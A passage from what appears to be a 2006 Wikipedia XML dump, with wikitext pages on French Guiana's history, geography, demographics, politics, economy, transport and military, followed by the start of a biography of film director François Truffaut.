There are smaller groups of people from neighbouring states, attracted by French Guiana's relative wealth. Of these about 8% are [[Brazilian]], 4% Surinamese and 2.5% Guyanese. The main Asian communities are the [[Hmong]] from [[Laos]] (1.5%) and [[overseas Chinese|Chinese]] (primarily from [[Hong Kong]] and Zhejiang province; 3.2%). There are also smaller groups from various [[Caribbean]] islands, mainly St Lucia. The main groups living in the interior are the [[Maroon (people)|Maroons]] (also called Bush Negroes) and [[Indigenous peoples of the Americas|Amerindians]].

The [[Maroon (people)|Maroons]], descendents of escaped African slaves, live primarily along the [[Maroni River]]. The main Maroon groups are the Paramacca, Aucan (both of whom also live in [[Suriname]]) and the Boni (Aluku).

The main Amerindian groups (forming about 3%-4% of the population) are the [[Arawak]], [[Emerillon]], [[Galibi]] (now called the Kaliña), [[Palikour]], [[Wayampi]] (also known as Oyampi) and [[Wayana]].

The predominant religion in the country is [[Roman Catholicism]], though the Maroons and some Amerindian peoples still practice their own religions. The Hmong people are also mainly Catholic owing to the influence of Catholic missionaries who helped bring them to French Guiana.

==See also==

* [[Communications in French Guiana]]
* [[Inini]]
* [[Foreign relations of French Guiana]]
* [[Military of French Guiana]]
* [[Transportation in French Guiana]]
* [[French overseas departments and territories]]
* [[Administrative divisions of France]]

== Further reading ==

* ''France's Overseas Frontier : Les Départements et territoires d'outre-mer'' Robert Aldrich and John Connell
* ''Dry guillotine: Fifteen years among the living dead'' René Belbenoit, 1938, Reprint: Berkley (1975). ISBN 0425029506
* ''Hell on Trial'' René Belbenoit, 1940, Translated from the Original French Manuscript by Preston Rambo. E. P Dutton &amp; Co. Reprint by Blue Ribbon Books, New York, 1941. Reprint: Bantam Books, 1971
*''Papillon'' [[Henri Charrière]] Reprints: Hart-Davis Macgibbon Ltd. 1970. ISBN 0246639873 (hbk); Perennial, 2001. ISBN 0060934794 (sbk)
* ''Space in the Tropics: From Convicts to Rockets in French Guiana'' Peter Redfield

== External links ==
'''General information'''
*[http://www.geocities.com/kouroufrenchguiana/index.html Gabe's French Guiana] with information and many photos
*[http://dmoz.org/Regional/South_America/French_Guiana Open Directory Project - French Guiana] directory category
* [http://travel.state.gov/travel/cis_pa_tw/cis/cis_1117.html US Consular Information Sheet]
'''Other'''
* [http://www.ethnologue.com/show_country.asp?name=French+Guiana  Ethnologue French Guiana page]
* [http://www.kwata.org/index_eng.htm Kwata - French Guiana conservation group]
* [http://kourou.cirad.fr/ Silvolab Guyanae - scientific interest group in French Guiana]
* [http://www.luxner.com/cgi-bin/view_article.cgi?articleID=661 Article on separatism in French Guiana]
* [http://gosouthamerica.about.com/cs/frenchguiana/ About.com French Guiana travel site]
* [http://rainforests.mongabay.com/20frenchg.htm Status of Forests in French Guiana]
* [http://r.douzal.free.fr/FM-Guyana-01.htm French Guiana photo gallery]
*  [http://www.horizo.com/photo_guyane.htm French Guiana image gallery]
* [http://www.galenfrysinger.com/cayenne.htm Photo gallery]
* [http://us.i1.yimg.com/us.yimg.com/i/travel/dg/maps/7a/750x750_frenchguiana_m.gif  French Guiana map]

{{South_America}}
{{Regions_of_France}}

[[Category:French Guiana]]
[[Category:Special territories of the European Union]]
[[Category:South American countries]]

[[an:Guayana Franzesa]]
[[zh-min-nan:Guyane]]
[[ca:Guaiana Francesa]]
[[cs:Francouzská Guyana]]
[[da:Fransk Guiana]]
[[de:Französisch-Guayana]]
[[et:Prantsuse Guajaana]]
[[es:Guayana Francesa]]
[[eo:Franca Gviano]]
[[fr:Guyane française]]
[[gl:Güiana Francesa - Guyane française]]
[[ko:프랑스령 기아나]]
[[hr:Francuska Gvajana]]
[[id:Guyana Perancis]]
[[is:Franska Gvæjana]]
[[it:Guyana Francese]]
[[he:גיאנה הצרפתית]]
[[la:Guiana Francica]]
[[lt:Prancūzų Gviana]]
[[hu:Francia Guyana]]
[[nl:Frans-Guyana]]
[[ja:フランス領ギアナ]]
[[no:Fransk Guyana]]
[[pl:Gujana Francuska]]
[[pt:Guiana Francesa]]
[[ro:Guiana Franceză]]
[[ru:Французская Гвиана]]
[[simple:French Guiana]]
[[sk:Francúzska Guyana]]
[[fi:Ranskan Guayana]]
[[sv:Franska Guyana]]
[[tr:Fransız Guyanası]]
[[zh:法屬圭亞那]]</text>
    </revision>
  </page>
  <page>
    <title>History of French Guiana</title>
    <id>10761</id>
    <revision>
      <id>39360763</id>
      <timestamp>2006-02-12T17:27:55Z</timestamp>
      <contributor>
        <ip>217.85.196.113</ip>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">== Pre-colonial ==

[[French Guiana]] was originally inhabited by a number of Native American peoples, among them the [[Carib]], [[Arawak]], [[Emerillon]], [[Galibi]], [[Palikour]], [[Wayampi]] (also known as Oyampi) and [[Wayana]].

== Beginnings of European involvement ==

In [[1498]] French Guiana was first visited by Europeans when [[Christopher Columbus]] sailed to the region and reportedly named it the &quot;Land of pariahs&quot;. The early 1600's saw attempts by the [[France|French]] and [[Netherlands|Dutch]] settle in the area, though they faced difficulties in the face of Amerindian hostility and widespread tropical diseases. In [[1643]] the French managed to establish a settlement at [[Cayenne]] along with some small-scale plantations, however this was attacked by Amerindians. The French later re-established it in the 1660's, along with another settlement at [[Sinnamary]] (this was attacked by the Dutch in [[1665]]). 

In [[1667]] the [[Kingdom of Great Britain|British]] seized the area. Following the [[Treaty of Breda]] on 31st July [[1667]] the area was given back to France. The Dutch briefly occupied it for a period in [[1676]].

== Consolidation of French rule ==

After the [[Treaty of Paris]] in [[1763]], which deprived France of almost all her possessions in the Americas other than Guiana and a few islands, [[Louis XV of France|Louis XV]] sent thousands of settlers to Guiana who were lured there with stories of plentiful [[gold]] and easy fortunes to be made. Instead they found a land filled with hostile natives and tropical diseases. One and a half years later only a few hundred survived. These fled to three small islands which could be seen off shore and named them the [[Iles de Salut]] (or &quot;Islands of Salvation&quot;). The largest was called [[Royal Island]], another [[Ile Saint-Joseph|St. Joseph]] (after the patron saint of the expedition), and the smallest of the islands, surrounded by strong currents, Île du Diable (the infamous &quot;[[Devil's Island]]&quot;). When the survivors of this ill-fated expedition returned home, the terrible stories they told of the colony left a lasting impression in France.

In [[1794]], after the death of [[Robespierre]], 193 of his followers were sent to French Guiana. In [[1797]] the republican general [[Pichegru]] and many deputies and journalists were also sent to the colony. When they arrived they found that only 54 of the 193 deportées sent out three years earlier were left; 11 had escaped, and the rest had died of tropical fevers and other diseases. Pichegru managed to escape to [[United States]] and then returned to France where he was eventually executed for plotting against Napoleon.

Later on, slaves were brought out from Africa and plantations were established along the more disease-free rivers. Exports of sugar, hardwood, [[Cayenne pepper]] and other spices brought a certain prosperity to the colony for the first time. Cayenne, the capital, was surrounded by plantations, some of which had several thousand slaves.

== 1800's and the penal era ==

In [[1809]] an Anglo-Portuguese naval squadron took French Guiana and gave it to the [[Portugal|Portuguese]] in [[Brazil]]. However with the signing of the [[Treaty of Paris]] in [[1814]] the region was handed back to the French, though a Portuguese presence remained until [[1817]].

In [[1848]] France abolished [[slavery]] and the ex-slaves fled into the rainforest setting up communities similar to the ones they had been stolen from in Africa. Now called [[Maroon (people)|Maroons]], they formed a sort of [[buffer zone]] between the Europeans who settled along the coast and main rivers, and the unconquered, and often hostile, Native American tribes of the inland regions. Without the availability of slave labour the plantations were soon taken over by the jungle, and the planters ruined.

In [[1850]] several shiploads of Indians, Malays and Chinese were brought out to work the plantations but, instead, they set up shops in Cayenne and other settlements.

[[Image:Quartier - Disciplinaire, St. Laurent.jpg|thumb|300px|&quot;Quartier - Disciplinaire&quot;, St. Laurent, 1954]]

In [[1852]] the first shiploads of chained convicts arrived from France. In [[1885]], to get rid of habitual criminals and to increase the number of colonists, the French Parliament passed a law that anyone, male or female, who had more than three sentences for theft of more than three months each, would be sent to French Guiana as a &quot;relégué.&quot; These relégués were to be kept in prison there for six months but then freed to become settlers in the colony. However, this experiment was a dismal failure. The prisoners were unable to make a living off the land and so were forced to revert again to crime, or to eke out a hand-to-mouth existence until they died. In fact, being sent to French Guiana as a relégué was a life sentence, and usually a short life sentence, as most of the relégués died very quickly from disease and malnutrition. The prisoners would arrive at [[St-Laurent du Maroni]] before being transported to various camps throughout the country. The [[Iles du Salut]] were used to house political prisoners and for solitary confinement. The islands became notorious for the brutality of life there, centering around the notorious [[Devils Island]]. Famous political figures to be sent to the islands included [[Alfred Dreyfus]] and [[Henri Charrière]], who managed escape. He later wrote a best-selling book about his experiences called ''[[Papillon (autobiography)|Papillon]]''.
[[Image:Condemened men's block, St. Laurent..jpg|thumb|left|300px|&quot;Quartier Spécial&quot; - Condemned men's block, St. Laurent, 1954 (the guillotine stood at the spot where the photographer took this photo)]]

In [[1853]] [[gold]] was discovered in the interior, precipitating [[border]] disputes with Brazil and [[Dutch Guiana]] (these were later settled in [[1891]], [[1899]] and [[1915]], though a small region of the border with [[Suriname]] is still disputed).

== 20th century ==

After the fall of France to [[Nazis]] in [[World War II]] the local government declared its allegiance to the [[Vichy]] government, despite widespread support for [[Charles de Gaulle]]. This government was later removed by the Allies.

French Guiana became an [[Département d'outre-mer|overseas ''département'']] of [[France]] on [[19 March]], [[1946]].

The infamous penal colonies, including Devil's Island, were gradually phased out, being formally closed in [[1951]]. At first, only those freed prisoners who could raise the fare for their return passage to France were able to go home, so French Guiana was haunted after the official closing of the prisons by numerous freed convicts leading an aimless existence in the colony.

Visitors to the site in December 1954 reported being deeply shocked by the conditions and the constant screams from the cell-block which had only tiny ventilation slots at the tops of the walls under the roof. Food was pushed in and bodies removed once a day.

In [[1964]] [[Kourou]] was chosen to be launch site for rockets, largely due to its favourable location near the [[equator]]. The [[Centre Spatial Guyanais]] was built and became operational in [[1968]]. This has provided limited local employment, but the mainly imported technicians, and the hundreds of troops stationed in the region to prevent sabotage bring some much-needed cash into the local economy.

[[Image:Guianaprotest.jpg|thumb|right|Protests in Cayenne, 2000]]

The 1970s saw the settlement of [[Hmong]] refugees from [[Laos]] in the county, primarilly to the towns of [[Javouhuy]] and [[Cacao]]. The Green Plan (Plan Vert) of [[1976]] aimed to improve production, though it had only limited success. A movement for increased autonomy from France gained momentum in the 70's and 80's, along with the increasing success of the Parti Socialiste Guyanais.

Protests by those calling for more autonomy from France have become increasingly vocal. Protests in [[1996]], [[1997]] and [[2000]] all ended in violence. While many Guianese wish to see more autonomy, support for complete independence is very low due to large economic support from France. Many are angry at the lack of oppurtunities and high unemployment figures.

Modern French Guiana is a land of idiosyncrasies, where European Space Agency satellite launches rattle the market gardens of displaced Hmong farmers from Laos and thinly populated rainforests swallow nearly all but the country's coastline.

== References ==

* Belebenoit, René. 1940. ''Hell on Trial''. Translated from the Original French Manuscript by Preston Rambo. E. P Dutton &amp; Co. Reprint by Blue Ribbon Books, New York, 1941.

* Belbenoit, René. 1938. ''Dry guillotine: Fifteen years among the living dead''. Reprint: Berkley (1975). ISBN 0425029506. Reprint: Bantam Books, 1971.

* Charrière, Henri. ''Papillon''. Reprints: Hart-Davis Macgibbon Ltd. 1970. ISBN 0246639873 (hbk); Perennial, 2001. ISBN 0060934794

* Tissot, Jean-Michel: ''La Guyane telle quelle'', Paris (Le Créations du Pélican) 1998. ISBN 2719103799

{{South_America_in_topic|History of}}

[[Category:French Guiana]]
[[Category:History of South America]]

[[bn:ফরাসী গায়ানার ইতিহাস]]
[[de:Geschichte Französisch-Guayanas]]
[[es:Historia de Guayana Francesa]]
[[fr:Histoire de la Guyane]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of French Guiana</title>
    <id>10762</id>
    <revision>
      <id>32866769</id>
      <timestamp>2005-12-27T11:23:12Z</timestamp>
      <contributor>
        <username>Pedro Aguiar</username>
        <id>131787</id>
      </contributor>
      <comment>/* Elevation extremes */</comment>
      <text xml:space="preserve">[[image:french guiana sm04.png|right|Map Of French Guiana]]
'''Geography of [[French Guiana]].'''

===Location===
Northern [[South America]] and part of [[Caribbean South America]], bordering the North [[Atlantic Ocean]], between [[Brazil]] and [[Suriname]]

===[[Geographic coordinates]]===
{{coor dm|4|00|N|53|00|W|type:country}}

===Map references===
South America

===Area===
total: 91,000 km²&lt;br&gt;
land: 89,150 km²&lt;br&gt;
water: 1,850 km²

===Land boundaries:===
total: 1,183 km&lt;br&gt;
border countries: Brazil 673 km, Suriname 510 km (disputed)&lt;br&gt;
Coastline: 378 km

===Maritime claims===
exclusive economic zone: 370 [[kilometre|km]]&lt;br&gt;
territorial sea: 12 nautical miles (22 km)

===Climate===
tropical; hot, humid; little seasonal temperature variation

===Terrain===
low-lying coastal plains rising to hills and small mountains, see [[guiana]]

===Elevation extremes===
lowest point: Atlantic Ocean 0 m&lt;br&gt;
highest point: [[Bellevue de l'Inini]] 851 m&lt;br&gt;
other mountains: [[Montaigne d'Argent]], on the edge of [[Oiapoque river]]

===Natural resources===
[[bauxite]], [[timber]], [[gold]] (widely scattered), [[cinnabar]], [[kaolin]], [[fish]]

===Land use===
arable land: 0%&lt;br&gt;
permanent crops: 0%&lt;br&gt;
permanent pastures: 0%&lt;br&gt;
forests and woodland: 90%&lt;br&gt;
other: 10% (1996 est.)&lt;br&gt;
irrigated land: 20 km² (1993 est.)&lt;br&gt;
natural hazards: high frequency of heavy showers and severe thunderstorms; flooding&lt;br&gt;
environment - current issues: NA&lt;br&gt;
geography - note: mostly an unsettled wilderness&lt;br&gt;

{{South America in topic|Geography of}}
[[Category:French Guiana]]
[[Category:Geography by country|French Guiana]]

[[fr:Géographie de la Guyane]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of French Guiana</title>
    <id>10763</id>
    <revision>
      <id>30222257</id>
      <timestamp>2005-12-05T14:07:23Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''[[Population]]:'''
172,605 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
31% (male 27,116; female 25,902)
&lt;br&gt;''15-64 years:''
64% (male 59,690; female 50,621)
&lt;br&gt;''65 years and over:''
5% (male 4,694; female 4,582) (2000 est.)

'''Population growth rate:'''
2.93% (2000 est.)

'''[[Birth rate]]:'''
22.44 births/1,000 population (2000 est.)

'''[[Death]] rate:'''
4.76 deaths/1,000 population (2000 est.)

'''Net [[migration]] rate:'''
11.59 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.05 male(s)/female
&lt;br&gt;''15-64 years:''
1.18 male(s)/female
&lt;br&gt;''65 years and over:''
1.02 male(s)/female
&lt;br&gt;''total population:''
1.13 male(s)/female (2000 est.)

'''[[Infant mortality]] rate:'''
13.99 deaths/1,000 live births (2000 est.)

'''[[Life expectancy]] at birth:'''
&lt;br&gt;''total population:''
76.1 years
&lt;br&gt;''male:''
72.77 years
&lt;br&gt;''female:''
79.6 years (2000 est.)

'''Total [[fertility]] rate:'''
3.21 children born/woman (2000 est.)

'''[[Nationality]]:'''
&lt;br&gt;''noun:''
French Guianese (singular and plural)
&lt;br&gt;''adjective:''
French Guianese

'''Ethnic groups:'''
[[blacks]] or [[mulatto]] 66%, [[Whites|white]] 12%, [[East India]]n, [[China|Chinese]], [[Amerindian]] 12%, other 10% (including [[Hmong]] refugees from the former [[French Indochina]] who have been resettled in French Guiana).

'''[[Religion]]s:'''
[[Roman Catholicism]]

'''[[Language]]s:'''
[[French language|French]],
French Guianese Creole French

'''[[Literacy]]:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
83%
&lt;br&gt;''male:''
84%
&lt;br&gt;''female:''
82% (1982 est.)

:''See also :'' [[French Guiana]]

{{South_America_in_topic|Demographics of}}

[[Category:French Guiana]]

[[fr:Démographie de la Guyane française]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of French Guiana</title>
    <id>10764</id>
    <revision>
      <id>36806940</id>
      <timestamp>2006-01-26T16:38:38Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>reduce linking to date elements</comment>
      <text xml:space="preserve">{{CIA}}
{{Politics of French Guiana}}
'''Country name:'''
&lt;br&gt;''conventional long form:''
[[Département in France|Département]] of Guiana
&lt;br&gt;''conventional short form:''
[[French Guiana]]
&lt;br&gt;''local long form:''
none
&lt;br&gt;''local short form:''
Guyane

'''Data code:'''
FG

'''Dependency status:'''
[[Département d'outre-mer|overseas ''département'']] of France

'''Government type:'''
NA

'''Capital:'''
[[Cayenne, French Guiana|Cayenne]]

'''Administrative divisions:'''
none (overseas départment of France)

'''Independence:'''
none (overseas départment of France)

'''National holiday:'''
[[National Day]], [[Taking of the Bastille]], [[14 July]] ([[1789]])

'''Constitution:'''
[[28 September]] [[1958]] ([[French Constitution]])

'''Legal system:'''
[[French legal system]]

'''Suffrage:'''
18 years of age; universal

'''Executive branch:'''
&lt;br&gt;''chief of state:''
President [[Jacques Chirac]] of France (since [[17 May]] [[1995]]), represented by Prefect [[Ange Mancini]] (since [[July 31]], [[2002]])
&lt;br&gt;''head of government:''
President of the General Council [[Pierre Désert]]; President of the Regional Council [[Antoine Karam]] (since [[22 March]] [[1992]])
&lt;br&gt;''cabinet:''
NA
&lt;br&gt;''elections:''
French president elected by popular vote for a seven-year term; prefect appointed by the French president on the advice of the French Ministry of Interior; presidents of the General and Regional Councils are appointed by the members of those councils

'''Legislative branch:'''
unicameral General Council or Conseil General (19 seats; members are elected by popular vote to serve six-year terms) and a unicameral Regional Council or Conseil Regional (31 seats; members are elected by popular vote to serve six-year terms)
&lt;br&gt;''elections:''
General Council - last held March [[2000]] (next to be held NA 2006); Regional Council - last held [[15 March]] [[1998]] (next to be held NA 2004)
&lt;br&gt;''election results:''
*General Council - 
**percent of vote by party - NA%; 
**seats by party - 
***PSG 5, 
***various left-wing parties 5, 
***independents 7, 
***other 2; 
*Regional Council - 
**percent of vote by party - 
***PS 28.28%, 
***various left parties 22.56%, 
***RPR 15.91%, 
***independents 8.6%, 
***Walwari Committee 6%; 
**seats by party - 
***PS 11, 
***various left parties 9, 
***RPR 6, 
***independents 3, 
***Walwari Committee 2

One seat was elected to the French Senate on [[27 September]] [[1998]] (next to be held September 2007); results - percent of vote by party - NA%; seats by party - NA; 2 seats were elected to the French National Assembly on [[9 June]]-[[16 June]] [[2002]] (next to be held NA 2007); results - percent of vote by party - NA%; seats by party - UMP/RPR 1, Walwari Committee 1

'''Judicial branch:'''
Court of Appeals or Cour d'Appel (highest local court based in Martinique with jurisdiction over Martinique, Guadeloupe, and French Guiana)

'''Political parties and leaders:'''
Guyanese Democratic Action or ADG [Andre LECANTE]; Guyanese Socialist Party or PSG [Marie-Claude VERDAN]; Guyana Democratic Forces or FDG [Georges OTHILY]; Popular National Guyanese Party or PNPG [Jose DORCY]; Socialist Party or PS [Paul DEBRIETTE]; Union for a Popular Movement or UMP (includes RPR) [Muriel ICARE]; Walwari Committee (aligned with the PRG in France) [Christine TAUBIRA-DELANON]

'''International organization participation:'''
FZ, WCL, WFTU

'''Diplomatic representation in the US:'''
none (overseas department of France)

'''Diplomatic representation from the US:'''
none (overseas department of France)

'''Flag description:'''
the flag of France is used

:''See also :'' [[French Guiana]]

{{South America in topic|Politics of}}

[[Category:French Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of French Guiana</title>
    <id>10765</id>
    <revision>
      <id>40447484</id>
      <timestamp>2006-02-20T16:52:10Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{CIA}}, {{South America in topic|Economy of}}</comment>
      <text xml:space="preserve">{{CIA}}

The '''economy of French Guiana''' is tied closely to that of [[France]] through subsidies and imports. Besides the French space center at [[Kourou]], [[fishing]] and [[forestry]] are the most important economic activities. The large reserves of tropical hardwoods, not fully exploited, support an expanding sawmill industry which provides sawn logs for export. Cultivation of crops is limited to the coastal area, where the population is largely concentrated; [[rice]] and [[manioc]] are the major crops. French Guiana is heavily dependent on imports of food and energy. [[Unemployment]] is a serious problem, particularly among younger workers.

'''GDP:'''
purchasing power parity - $1 billion (1998 est.)

'''GDP - real growth rate:'''
NA%

'''GDP - per capita:'''
purchasing power parity - $6.000 (1998 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
NA%
&lt;br&gt;''industry:''
NA%
&lt;br&gt;''services:''
NA%

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
2,5% (1992)

'''Labor force:'''
58.800 (1997)

'''Labor force - by occupation:'''
services, government, and commerce 60,6%, industry 21,2%, agriculture 18,2% (1980)

'''Unemployment rate:'''
21,4% (1998 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
$225 million
&lt;br&gt;''expenditures:''
$390 million, including capital expenditures of $105 million (1996)

'''Industries:'''
construction, [[shrimp]] processing, forestry products, [[rum]], [[gold]] mining

'''Industrial production growth rate:'''
NA%

'''Electricity - production:'''
430 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
100%
&lt;br&gt;''hydro:''
0%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
400 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[rice]], [[manioc]] ([[tapioca]]), [[sugar]], [[cocoa]], vegetables, [[banana]]s; [[cattle]], [[pig]]s, [[poultry]]

'''Exports:'''
$155 million (f.o.b., 1997)

'''Exports - commodities:'''
[[shrimp]], timber, [[gold]], [[rum]], [[rosewood]] essence, clothing

'''Exports - partners:'''
[[France]] 62%, [[Switzerland]] 7%, [[United States]] 2% (1997)

'''Imports:'''
$625 million (c.i.f., 1997)

'''Imports - commodities:'''
food (grains, processed meat), machinery and transport equipment, fuels and chemicals

'''Imports - partners:'''
[[France]] 52%, [[United States]] 14%, [[Trinidad and Tobago]] 6% (1997)

'''Debt - external:'''
$1,2 billion (1988)

'''Economic aid - recipient:'''
$NA

'''Currency:'''
1 euro (EUR) = 100 cent

'''Exchange rates:'''
euros per US$1 - 1,3 (January 2005), 0,9867 (January 2000), 0,9386 (1999)

'''Fiscal year:'''
calendar year

{{South America in topic|Economy of}}

[[Category:French Guiana]]
[[Category:Economies by country|French Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in French Guiana</title>
    <id>10766</id>
    <revision>
      <id>40448341</id>
      <timestamp>2006-02-20T16:59:45Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{CIA}}, {{South America in topic|Communications in}}</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Telephone]]s - main lines in use:'''
47,000 (1995)

'''Telephones - mobile cellular:'''
NA

'''Telephone system:'''
&lt;br&gt;''domestic:''
fair open wire and [[microwave]] [[radio]] relay system
&lt;br&gt;''international:''
[[satellite]] earth station - 1 [[Intelsat]] ([[Atlantic Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 2, FM 14 (including 6 repeaters), shortwave 6 (including 5 repeaters) (1998)

'''Radios:'''
104,000 (1997)

'''[[Television]] broadcast stations:'''
3 (plus eight low-power repeaters) (1997)

'''Televisions:'''
30,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
NA

'''[[Country code]] (Top-level domain):''' GF

:''See also :'' [[French Guiana]]

{{South America in topic|Communications in}}

[[Category:Communications by country|French Guiana]]
[[Category:Communications in French Guiana| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in French Guiana</title>
    <id>10767</id>
    <revision>
      <id>40449677</id>
      <timestamp>2006-02-20T17:12:23Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Transportation in}}</comment>
      <text xml:space="preserve">'''[[Railway]]s:'''
0 km (1995)

'''[[Highway]]s:'''
&lt;br&gt;''total:''
1,817 km
&lt;br&gt;''paved:''
727 km
&lt;br&gt;''unpaved:''
1,090 km (1995 est.)

'''Waterways:'''
460 km, navigable by small oceangoing vessels and river and coastal steamers; 3,300 km navigable by native craft

'''Ports and [[harbor]]s:'''
[[Cayenne, French Guiana|Cayenne]], [[Degrad des Cannes]], [[Saint-Laurent du Maroni]]

'''[[Merchant marine]]:'''
none (1999 est.)

'''[[Airport]]s:'''
11 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
4
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''914 to 1,523 m:''
2
&lt;br&gt;''under 914 m:''
1 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
7
&lt;br&gt;''914 to 1,523 m:''
2
&lt;br&gt;''under 914 m:''
5 (1999 est.)

:''See also :'' [[French Guiana]]

{{South America in topic|Transportation in}}

[[Category:French Guiana]]
[[Category:Transportation in French Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>Military of French Guiana</title>
    <id>10768</id>
    <revision>
      <id>37838734</id>
      <timestamp>2006-02-02T13:17:45Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Military of}}</comment>
      <text xml:space="preserve">{{CIA}}

'''Military branches:'''
no regular indigenous military forces; French Forces, Gendarmerie

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
50,504 (2002 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
32,720 (2002 est.)

'''Military expenditures - dollar figure:'''
$NA

'''Military expenditures - percent of GDP:'''
NA%

'''Military - note:'''
defense is the responsibility of France

:''See also :'' [[French Guiana]]

{{South America in topic|Military of}}

[[Category:French Guiana]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of French Guiana</title>
    <id>10769</id>
    <revision>
      <id>37838516</id>
      <timestamp>2006-02-02T13:15:00Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">'''Disputes - international:'''
[[Suriname]] claims area between [[Litani River, South America|Litani River]] and [[Marouini River]] (both headwaters of the [[Lawa River, South America|Lawa]])

'''Illicit [[Recreational drug use|drug]]s:'''
small amount of [[marijuana]] grown for local consumption; minor transshipment point to [[Europe]]

==See also==
* [[French Guiana]]

{{South America in topic|Foreign relations of}}

[[Category:French Guiana]]

{{Poli-stub}}</text>
    </revision>
  </page>
  <page>
    <title>François Truffaut</title>
    <id>10770</id>
    <revision>
      <id>42046922</id>
      <timestamp>2006-03-03T12:48:55Z</timestamp>
      <contributor>
        <username>Al pereira</username>
        <id>549899</id>
      </contributor>
      <comment>rollback</comment>
      <text xml:space="preserve">[[Image:Truffaut.jpg|thumb|right|François Truffaut]]
'''François Roland Truffaut''' (born in [[Paris]], on [[February 6]], [[1932]]; died in [[Neuilly-sur-Seine]] on [[October 21]], [[1984]]) was one of the founders of the [[French New Wave|French &quot;New Wave&quot;]] in filmmaking, and remains an icon of the [[Cinema of France|French film]] industry. In a a film career lasting just over a quarter of a century, he fulfilled rhe functions of [[screenwriter]], [[film director|director]], [[film producer|produced]] or [[actor|actor]] in over thirty films.

==Life==
Truffaut was born out of wedlock in 1930s [[Paris]], where he was raised by his mother and his adoptive father, Roland Truffaut, both of whom were devout [[Roman Catholic Church|Catholics]]. He never met his biological father, who was a [[Jewish]] dentist. Truffaut had a difficult childhood that resulted in rebellion against his parents in particular and authority in general.  Truffaut reported that his film ''[[The 400 Blows]]'' (1959) was largely autobiographical. His love of films partly came from his elective father, the writer and critic [[André Bazin]].

Truffaut came to filmmaking only after an early career as one of the most outspoken film critics in France, writing for Bazin's ''les [[Cahiers du cinéma]]'' (he became an editor of the review in [[1953]]).  The ''Cahiers'' at this time were intensely critical of post-war French cinema; they saw it as overtly literary at the time. As a result of the severity of his critiques, Truffaut was refused a press pass to the [[1958]] [[Cannes Film Festival|Cannes film festival]]). Along with his ''Cahiers'' colleagues, including [[Jean-Luc Godard]] and [[Éric Rohmer]], Truffaut was enamoured with Hollywood filmmakers such as [[Alfred Hitchcock]], [[Nicholas Ray]] and [[Howard Hawks]], then often dismissed as mere genre film makers. In his 1954 article, Truffaut expounded the ''politique des auteurs'', or [[auteur theory|Auteur theory]] of cinema which championed the idea that movies should reflect the personal vision and preoccupations of the director.

On [[October 29]], [[1957]], he married Madeleine Morgenstern at the City Hall in Paris, with whom he had two children, Laura (b. [[January 22]], [[1959]]) and Eva (b. [[June 29]], [[1961]]). His father-in-law, a film producer and distributor, helped to get Truffaut's career off the ground, by financing the making of his first film, the short ''Les Mistons'' (1958). He and Morgenstern divorced in 1965. In 1983, he had a daughter with actress and constant companion, [[Fanny Ardant]], Joséphine Truffaut who was born on [[September 28]], [[1983]], a year before his death.

The dynamics of relationships are a common thread throughout most of his films.

Truffaut was an expert on Sir [[Alfred Hitchcock]], even publishing a book ''Hitchcock'' (1962, also known as ''Hitchcock/Truffaut'') which recorded interviews and conversations with Hitchcock. His last film ''[[Confidentially Yours]]'', a comedy thriller in black and white, could be considered to be a &quot;fake Hitchcock&quot;.

Truffaut's 1973 production of ''[[La Nuit américaine]]'' (known in the US as ''[[La Nuit américaine|Day for Night]]'') won the [[Academy Award]] for Best Foreign Film. Also an actor, he sometimes played in his own films, and appeared memorably in [[Steven Spielberg]]'s ''[[Close Encounters of the Third Kind]]''.

Truffaut suffered from a brain tumor which was diagnosed in 1983. He died shortly thereafter in the American Hospital in Neuilly-sur-Seine at the age of 52. He was buried in the [[Cimetière de Montmartre]] in Paris.

==Work==
